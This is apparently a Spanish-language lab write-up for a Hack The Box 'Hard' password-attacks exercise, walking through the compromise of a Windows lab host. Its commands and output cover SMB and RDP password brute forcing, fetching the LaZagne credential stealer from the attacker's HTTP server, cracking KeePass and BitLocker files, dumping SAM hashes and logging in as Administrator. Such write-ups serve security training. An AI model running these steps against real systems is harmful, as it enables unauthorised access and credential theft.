Page cover

🔑Lab de contraseñas - Hard

El último host es un cliente basado en Windows.

Al igual que con las evaluaciones anteriores, a nuestro cliente le gustaría asegurarse de que un atacante no pueda obtener acceso a ningún archivo confidencial en caso de un ataque exitoso. Mientras nuestros colegas estaban ocupados con otros hosts de la red, descubrimos que el usuario Johanna está presente en muchos hosts. Sin embargo, todavía no hemos podido determinar el propósito exacto o el motivo de esto.


Objetivo

Examina el tercer objetivo y envía el contenido de flag.txt en C:\Users\Administrator\Desktop\ como respuesta.

Escaneo de puertos

sudo nmap -v -sV -T5 10.129.202.222 -Pn

PORT     STATE SERVICE       VERSION
111/tcp  open  rpcbind?
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
2049/tcp open  status        1 (RPC #100024)
3389/tcp open  ms-wbt-server Microsoft Terminal Services
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Observamos que tiene 6 puertos abiertos, 22, 139 y 445, que se corresponden con y SMB y RDP principalmente, por lo que centraremos el tiro en estos servicios.

Bruteforce de SMB

crackmapexec smb 10.129.202.222 -u johanna -p mut_password.list

SMB         10.129.202.222  445    WINSRV           [*] Windows 10.0 Build 17763 x64 (name:WINSRV) (domain:WINSRV) (signing:False) (SMBv1:False)
SMB         10.129.202.222  445    WINSRV           [-] WINSRV\johanna: STATUS_LOGON_FAILURE 
SMB         10.129.202.222  445    WINSRV           [-] WINSRV\johanna:! STATUS_LOGON_FAILURE 
SMB         10.129.202.222  445    WINSRV           [-] WINSRV\johanna:00000 STATUS_LOGON_FAILURE 
SMB         10.129.202.222  445    WINSRV           [-] WINSRV\johanna:00000! STATUS_LOGON_FAILURE 
SMB         10.129.202.222  445    WINSRV           [-] WINSRV\johanna:000000 STATUS_LOGON_FAILURE 
SMB         10.129.202.222  445    WINSRV           [-] WINSRV\johanna:000000! STATUS_LOGON_FAILURE 
SMB         10.129.202.222  445    WINSRV           [-] WINSRV\johanna:00000001 STATUS_LOGON_FAILURE 
SMB         10.129.202.222  445    WINSRV           [-] WINSRV\johanna:00000001! STATUS_LOGON_FAILURE 
SMB         10.129.202.222  445    WINSRV           [+] WINSRV\johanna:1231234! 

Encontramos unas credenciales válidas de SMB para el usuario johanna, por lo que vamos a empezar a enumerar las carpetas compartidas:

crackmapexec smb 10.129.202.222 -u "johanna" -p 1231234! --shares

SMB         10.129.202.222  445    WINSRV           [*] Windows 10.0 Build 17763 x64 (name:WINSRV) (domain:WINSRV) (signing:False) (SMBv1:False)
SMB         10.129.202.222  445    WINSRV           [+] WINSRV\johanna:1231234! 
SMB         10.129.202.222  445    WINSRV           [+] Enumerated shares
SMB         10.129.202.222  445    WINSRV           Share           Permissions     Remark
SMB         10.129.202.222  445    WINSRV           -----           -----------     ------
SMB         10.129.202.222  445    WINSRV           ADMIN$                          Remote Admin
SMB         10.129.202.222  445    WINSRV           C$                              Default share
SMB         10.129.202.222  445    WINSRV           david                           
SMB         10.129.202.222  445    WINSRV           IPC$            READ            Remote IPC

Encontramos la carpeta compartida IPC$ que tenemos permisos de lectura. También encontramos la carpeta david, lo que nos indica que hay un usuario con ese nombre en el sistema.

No podemos acceder a ninguna carpeta compartida ni ver su contenido, por lo que vamos a probar a hacer bruteforce contra el servicio RDP.

Bruteforce de RDP

Vamos a probar el bruteforce de RDP contra el usuario johanna:

hydra -l johanna -P mut_password.list rdp://10.129.202.222 -t 48
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-04-22 19:28:53
[WARNING] rdp servers often don't like many connections, use -t 1 or -t 4 to reduce the number of parallel connections and -W 1 or -W 3 to wait between connection to allow the server to recover
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel connections)
[WARNING] the rdp module is experimental. Please test, report - and if possible, fix.
[DATA] max 4 tasks per 1 server, overall 4 tasks, 94044 login tries (l:1/p:94044), ~23511 tries per task
[DATA] attacking rdp://10.129.202.222:3389/
[STATUS] 88.00 tries/min, 88 tries in 00:01h, 93957 to do in 17:48h, 3 active
[STATUS] 94.67 tries/min, 284 tries in 00:03h, 93761 to do in 16:31h, 3 active
[STATUS] 94.57 tries/min, 662 tries in 00:07h, 93383 to do in 16:28h, 3 active
[3389][rdp] host: 10.129.202.222   login: johanna   password: 1231234!

Parece que utiliza la misma contraseña para acceder a SMB y RDP. Vamos a intentar conectarnos por RDP:

Buuumm! Conseguimos acceder correctamente, y podemos empezar a enumerar información. A simple vista parece que utiliza varios navegadores, por lo que podríamos usar Lazagne para intentar extraer contraseñas almacenadas.

Vamos a enviar el ejecutable de lazagne.exe de la siguiente manera:

En nuestro Kali Linux
afsh4ck@kali$ ls
lazagne      lazagne.spec    lazagne.exe  releases    laZagne.py   

afsh4ck@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
En la máquina objetivo
PS C:\Users\johanna\Desktop> Invoke-WebRequest -Uri 'http://10.10.15.4:80/lazagne.exe' -OutFile 'lazagne.exe'

Lazagne

Una vez que tenemos lazagne en nuestra máquina objetivo, vamos a ejecutarlo de la siguiente manera:

PS C:\Users\johanna\Desktop> .\lazagne.exe all

|====================================================================|
|                                                                    |
|                        The LaZagne Project                         |
|                                                                    |
|                          ! BANG BANG !                             |
|                                                                    |
|====================================================================|


########## User: johanna ##########

------------------- Keepassconfig passwords -----------------

[+] Keyfile found !!!
Keyfile: No keyfile found
Database: C:\Users\johanna\Documents\Logins.kdbx
Type: Password

[+] 1 passwords have been found.
For more information launch it again with the -v option

Lazagne nos encuentra 1 archivo .kdbx de KeePass con posibles contraseñas almacenadas:

Al introducir la contraseña que tenemos para RDP no funciona, por lo que tendremos que enumerar más información:

Keepass2john

Vamos a descargarnos este archivo Logins.kdbx y crackearlo con keepass2john:

evil-winrm -i 10.129.202.222 -u johanna -p 1231234!

*Evil-WinRM* PS C:\Users\johanna\Documents> ls

    Directory: C:\Users\johanna\Documents

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        2/11/2022   2:13 AM           2126 Logins.kdbx

*Evil-WinRM* PS C:\Users\johanna\Documents> download Logins.kdbx
                                        
Info: Downloading C:\Users\johanna\Documents\Logins.kdbx to Logins.kdbx                                   
Info: Download successful!
keepass2john Logins.kdbx > keepass.hash

Vamos a usar el diccionario de contraseñas mutadas que hemos utilizado en toda esta sección para crackearlo:

john --wordlist=mut_password.list keepass.hash

Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Qwerty7!         (Logins)  

Buuum! Obtenemos la contraseña en plano para este archivo de Keepass: Qwerty7!

E voilá! Hemos obtenido la contraseña del usuario david. Click derecho > Copiar contraseña

User: david
Pass: gRzX7YbeTcDG7

Ahora que tenemos las credenciales de david, vamos a empezar a enumerar información

Enumeración de David

Podemos usar crackmapexec para ver las carpetas compartidas:

crackmapexec smb 10.129.202.222 -u david -p gRzX7YbeTcDG7 --shares

SMB         10.129.202.222  445    WINSRV           [*] Windows 10.0 Build 17763 x64 (name:WINSRV) (domain:WINSRV) (signing:False) (SMBv1:False)
SMB         10.129.202.222  445    WINSRV           [+] WINSRV\david:gRzX7YbeTcDG7 
SMB         10.129.202.222  445    WINSRV           [+] Enumerated shares
SMB         10.129.202.222  445    WINSRV           Share           Permissions     Remark
SMB         10.129.202.222  445    WINSRV           -----           -----------     ------
SMB         10.129.202.222  445    WINSRV           ADMIN$                          Remote Admin
SMB         10.129.202.222  445    WINSRV           C$                              Default share
SMB         10.129.202.222  445    WINSRV           david           READ            
SMB         10.129.202.222  445    WINSRV           IPC$            READ            Remote IPC

Vemos que ahora si, podemos acceder a la carpeta compartida david, con permisos de lectura.

smbclient -U david \\\\10.129.202.222\\david
Password for [WORKGROUP\david]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Fri Feb 11 11:43:03 2022
  ..                                  D        0  Fri Feb 11 11:43:03 2022
  Backup.vhd                          A 136315392  Fri Feb 11 13:16:12 2022

		10328063 blocks of size 4096. 6115916 blocks available
smb: \> get Backup.vhd
getting file \Backup.vhd of size 136315392 as Backup.vhd (3411,2 KiloBytes/sec) (average 3411,2 KiloBytes/sec)
smb: \> 

Encontramos un archivo de backup que puede contener información valiosa. Vamos a descargarlo.

Como vemos es un archivo cifrado, y para crackear este tipo de archivo necesitamos bitlocker2john.

Cracking con bitlocker2john

afsh4ck@kali$ bitlocker2john -i Backup.vhd > backup.hashes
afsh4ck@kali$ grep "bitlocker\$0" backup.hashes > backup.hash
afsh4ck@kali$ cat backup.hash                                                   
$bitlocker$0$16$60d83def3e335699830cc42793dae6e5$1048576$12$80b20a04341fd80103000000$60$ae149c9c17975483390d2afb7ff75c3e3380733976fa7d02bb29caebece6076c3c29096fc341a916c79b0db656a1f28e9f186e8b201c38653f64443a
john --wordlist=mut_password.list backup.hash 

Note: This format may emit false positives, so it will keep trying even after finding a possible candidate.
Using default input encoding: UTF-8
Loaded 1 password hash (BitLocker, BitLocker [SHA-256 AES 32/64])
Cost 1 (iteration count) is 1048576 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
123456789!       (?) 

Obtenemos la contraseña en plano y ya podemos montar esta unidad virtual. Necesitamos montarlo en un sistema windows, por lo que necesitamos acceder por RDP, transferir el archivo de Backup y lo montarlo.

También he encontrado el siguiente artículo donde explica como montarlo en sistemas Linux:

Montaje de Backup.vhd

Podemos montarlo en cualquier VM Windows de la siguiente manera:

afsh4ck@kali$ ls
backup.hash  backup.hashes  Backup.vhd  keepass.hash  Logins.kdbx  mut_password.list  password.list  username.list

afsh4ck@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
En Windows
(New-Object Net.WebClient).DownloadFile('http://10.10.15.4:80/Backup.vhd','Backup.vhd')

o por el navegador:

Dentro del disco encontramos 2 archivos: SAM y SYSTEM

Nos enviamos estos dos archivos a nuestra máquina de atacante para extraer los hashes con Impacket

Extracción de hashes

impacket-secretsdump -sam SAM -system SYSTEM LOCAL
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0x62649a98dea282e3c3df04cc5fe4c130
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:e53d4d912d96874e83429886c7bf22a1:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:9e73cc8353847cfce7b5f88061103b43:::
sshd:1000:aad3b435b51404eeaad3b435b51404ee:6ba6aae01bae3868d8bf31421d586153:::
david:1009:aad3b435b51404eeaad3b435b51404ee:b20d19ca5d5504a0c9ff7666fbe3ada5:::
johanna:1010:aad3b435b51404eeaad3b435b51404ee:0b8df7c13384227c017efc6db3913374:::
[*] Cleaning up... 

Guardamos los hashes, solamente con el hash NTLM de la siguiente manera:

e53d4d912d96874e83429886c7bf22a1
31d6cfe0d16ae931b73c59d7e0c089c0
31d6cfe0d16ae931b73c59d7e0c089c0
9e73cc8353847cfce7b5f88061103b43
6ba6aae01bae3868d8bf31421d586153
b20d19ca5d5504a0c9ff7666fbe3ada5
0b8df7c13384227c017efc6db3913374

Cracking con Hashcat

sudo hashcat -m 1000 hashestocrack.txt mut_password.list 
[sudo] contraseña para kali: 
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
==========================================================================================================================================
* Device #1: cpu--0x000, 2137/4338 MB (1024 MB allocatable), 4MCU

31d6cfe0d16ae931b73c59d7e0c089c0:                         
0b8df7c13384227c017efc6db3913374:1231234!                 
e53d4d912d96874e83429886c7bf22a1:Liverp00l8!              
Approaching final keyspace - workload adjusted.   

Nos consigue crackear correctamente 2 hashes, que se corresponden con los usuarios johanna y administrator!

johanna: 1231234!
administrator: Liverp00l8!

Acceso Root

evil-winrm -i 10.129.202.222 -u administrator -p Liverp00l8!
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine                                     
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd desktop
*Evil-WinRM* PS C:\Users\Administrator\desktop> ls

    Directory: C:\Users\Administrator\desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        2/11/2022   2:42 AM           1348 BitLocker Recovery Key.TXT
-a----        2/11/2022   4:29 AM             21 flag.txt.txt
-a----        2/10/2022   1:34 PM            951 KeePass 2.lnk


*Evil-WinRM* PS C:\Users\Administrator\desktop> cat flag.txt.txt
HTB{PWcr4ck1ngokokok}

Última actualización

¿Te fue útil?